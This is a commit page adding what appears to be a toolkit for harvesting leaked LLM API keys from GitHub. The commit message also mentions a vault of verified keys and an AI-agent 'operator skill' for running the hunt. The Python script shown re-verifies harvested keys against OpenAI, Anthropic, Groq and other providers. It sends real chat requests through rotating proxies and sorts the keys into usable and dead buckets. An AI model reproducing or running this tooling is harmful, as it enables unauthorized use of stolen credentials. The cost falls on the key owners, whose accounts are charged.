Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
chaos committed
1 parent
a3f698806b
commit
5d215e1649
684 files changed
+133838
No files matched your search
@@ -0,0 +1,157 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Re-verify unknown/timeout keys through a working proxy (OpenAI) or directly (others).
|
||||
Re-classifies every key in results/medium/<Provider>/unknown.txt as if fresh.
|
||||
"""
|
||||
import json, urllib.request, urllib.error, re, sys, time, itertools
|
||||
from pathlib import Path
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
ROOT = Path(__file__).parent / "results/medium"
|
||||
PROXY_POOL = [l.strip() for l in (Path(__file__).parent / "results/proxies/openai_capable.txt").read_text().splitlines() if l.strip()]
|
||||
|
||||
PROXY_CYCLE = itertools.cycle(PROXY_POOL)
|
||||
_proxy_lock = __import__("threading").Lock()
|
||||
|
||||
def next_proxy():
|
||||
with _proxy_lock:
|
||||
return next(PROXY_CYCLE)
|
||||
|
||||
def http(method, url, headers, body=None, timeout=25, use_proxy=False):
|
||||
h = {"User-Agent": UA, "Accept": "*/*", **headers}
|
||||
data = json.dumps(body).encode() if body is not None else None
|
||||
req = urllib.request.Request(url, data=data, headers=h, method=method)
|
||||
handlers = []
|
||||
px = None
|
||||
if use_proxy:
|
||||
px = next_proxy()
|
||||
handlers.append(urllib.request.ProxyHandler({"http": px, "https": px}))
|
||||
opener = urllib.request.build_opener(*handlers) if handlers else urllib.request.build_opener()
|
||||
try:
|
||||
with opener.open(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", "replace"), px
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", "replace"), px
|
||||
except Exception:
|
||||
return e.code, "", px
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}", px
|
||||
|
||||
def verify_openai(key):
|
||||
# two layers: models (cheap) then a tiny gpt-4o-mini chat
|
||||
c1, b1, _ = http("GET", "https://api.openai.com/v1/models",
|
||||
{"Authorization": f"Bearer {key}"}, use_proxy=True)
|
||||
if c1 == 401:
|
||||
return "DEAD", "401 models"
|
||||
if c1 == 200:
|
||||
# key recognized — actually try a chat to confirm quota/balance
|
||||
c2, b2, px = http("POST", "https://api.openai.com/v1/chat/completions",
|
||||
{"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
||||
{"model": "gpt-4o-mini", "messages":[{"role":"user","content":"hi"}],
|
||||
"max_tokens": 1, "temperature": 0}, use_proxy=True)
|
||||
if c2 == 200 and '"choices"' in b2:
|
||||
return "USABLE", f"chat OK via {px}"
|
||||
if c2 in (402, 429):
|
||||
return "NO_BALANCE", f"chat {c2}: {b2[:120]}"
|
||||
if c2 == 401:
|
||||
return "DEAD", "401 chat"
|
||||
if c2 == 0:
|
||||
return "UNKNOWN", f"chat net: {b2[:120]}"
|
||||
return "NO_ACCESS", f"chat {c2}: {b2[:120]}"
|
||||
if c1 == 0:
|
||||
return "UNKNOWN", f"models net: {b1[:120]}"
|
||||
return "NO_ACCESS", f"models {c1}: {b1[:120]}"
|
||||
|
||||
def verify_groq(key):
|
||||
c, b, _ = http("POST", "https://api.groq.com/openai/v1/chat/completions",
|
||||
{"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
||||
{"model": "llama-3.1-8b-instant", "messages":[{"role":"user","content":"hi"}],
|
||||
"max_tokens": 1, "temperature": 0})
|
||||
if c == 200 and '"choices"' in b: return "USABLE", "OK"
|
||||
if c == 401: return "DEAD", "401"
|
||||
if c in (402, 429): return "NO_BALANCE", f"{c}: {b[:120]}"
|
||||
if c == 0: return "UNKNOWN", b[:120]
|
||||
return "NO_ACCESS", f"{c}: {b[:120]}"
|
||||
|
||||
def verify_anthropic(key):
|
||||
c, b, _ = http("POST", "https://api.anthropic.com/v1/messages",
|
||||
{"x-api-key": key, "anthropic-version": "2023-06-01",
|
||||
"Content-Type": "application/json"},
|
||||
{"model": "claude-3-5-haiku-20241022",
|
||||
"max_tokens": 4, "messages":[{"role":"user","content":"hi"}]})
|
||||
if c == 200 and '"content"' in b: return "USABLE", "OK"
|
||||
if c == 401: return "DEAD", "401"
|
||||
if c in (402, 429): return "NO_BALANCE", f"{c}: {b[:120]}"
|
||||
if c == 0: return "UNKNOWN", b[:120]
|
||||
return "NO_ACCESS", f"{c}: {b[:120]}"
|
||||
|
||||
def verify_generic_openai_like(base, model, key):
|
||||
c, b, _ = http("POST", f"{base}/v1/chat/completions",
|
||||
{"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
||||
{"model": model, "messages":[{"role":"user","content":"hi"}],
|
||||
"max_tokens": 1, "temperature": 0})
|
||||
if c == 200 and '"choices"' in b: return "USABLE", "OK"
|
||||
if c == 401: return "DEAD", "401"
|
||||
if c in (402, 429): return "NO_BALANCE", f"{c}: {b[:120]}"
|
||||
if c == 0: return "UNKNOWN", b[:120]
|
||||
return "NO_ACCESS", f"{c}: {b[:120]}"
|
||||
|
||||
VERIFIERS = {
|
||||
"OpenAI": verify_openai,
|
||||
"Groq": verify_groq,
|
||||
"Anthropic": verify_anthropic,
|
||||
"SiliconFlow": lambda k: verify_generic_openai_like("https://api.siliconflow.cn", "Qwen/Qwen2.5-7B-Instruct", k),
|
||||
"LingyiWanwu": lambda k: verify_generic_openai_like("https://api.lingyiwanwu.com", "yi-lightning", k),
|
||||
"StepFun": lambda k: verify_generic_openai_like("https://api.stepfun.com", "step-1-flash", k),
|
||||
}
|
||||
|
||||
def parse(line):
|
||||
parts = line.split("|", 2)
|
||||
if len(parts) < 2: return None
|
||||
return parts[0], parts[1], parts[2] if len(parts) > 2 else ""
|
||||
|
||||
def run_provider(name, workers):
|
||||
f = ROOT / name / "unknown.txt"
|
||||
if not f.exists(): return
|
||||
rows = [r for r in (parse(l) for l in f.read_text().splitlines() if l.strip()) if r]
|
||||
if not rows: return
|
||||
print(f"\n=== {name}: retrying {len(rows)} unknown keys ===", flush=True)
|
||||
ver = VERIFIERS[name]
|
||||
out = {k: [] for k in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD")}
|
||||
done = 0
|
||||
with ThreadPoolExecutor(max_workers=workers) as pool:
|
||||
futs = {pool.submit(ver, k): (k, u, d) for k, u, d in rows}
|
||||
for f2 in as_completed(futs):
|
||||
k, u, d = futs[f2]
|
||||
try:
|
||||
v, det = f2.result()
|
||||
except Exception as e:
|
||||
v, det = "UNKNOWN", f"exc:{e}"
|
||||
out[v].append((k, u, det))
|
||||
done += 1
|
||||
if done % 25 == 0:
|
||||
print(f" {name} {done}/{len(rows)}", flush=True)
|
||||
# append into existing bucket files (these were previously all unknown.txt)
|
||||
for label, items in out.items():
|
||||
if not items: continue
|
||||
p = ROOT / name / f"{label.lower()}.txt"
|
||||
existing = set()
|
||||
if p.exists():
|
||||
for l in p.read_text().splitlines():
|
||||
if "|" in l: existing.add(l.split("|",1)[0])
|
||||
with p.open("a") as fh:
|
||||
for k, u, det in items:
|
||||
if k in existing: continue
|
||||
fh.write(f"{k}|{u}|[retry] {det}\n")
|
||||
# clear unknown file since all re-classified
|
||||
f.write_text("")
|
||||
print(f"{name}: " + " ".join(f"{k}={len(v)}" for k,v in out.items() if v), flush=True)
|
||||
|
||||
if __name__ == "__main__":
|
||||
providers = sys.argv[1:] if len(sys.argv) > 1 else list(VERIFIERS.keys())
|
||||
for name in providers:
|
||||
if name not in VERIFIERS:
|
||||
print(f"unknown provider: {name}"); continue
|
||||
run_provider(name, workers=8 if name == "OpenAI" else 20)
|
||||
Reference in new issue
Block a user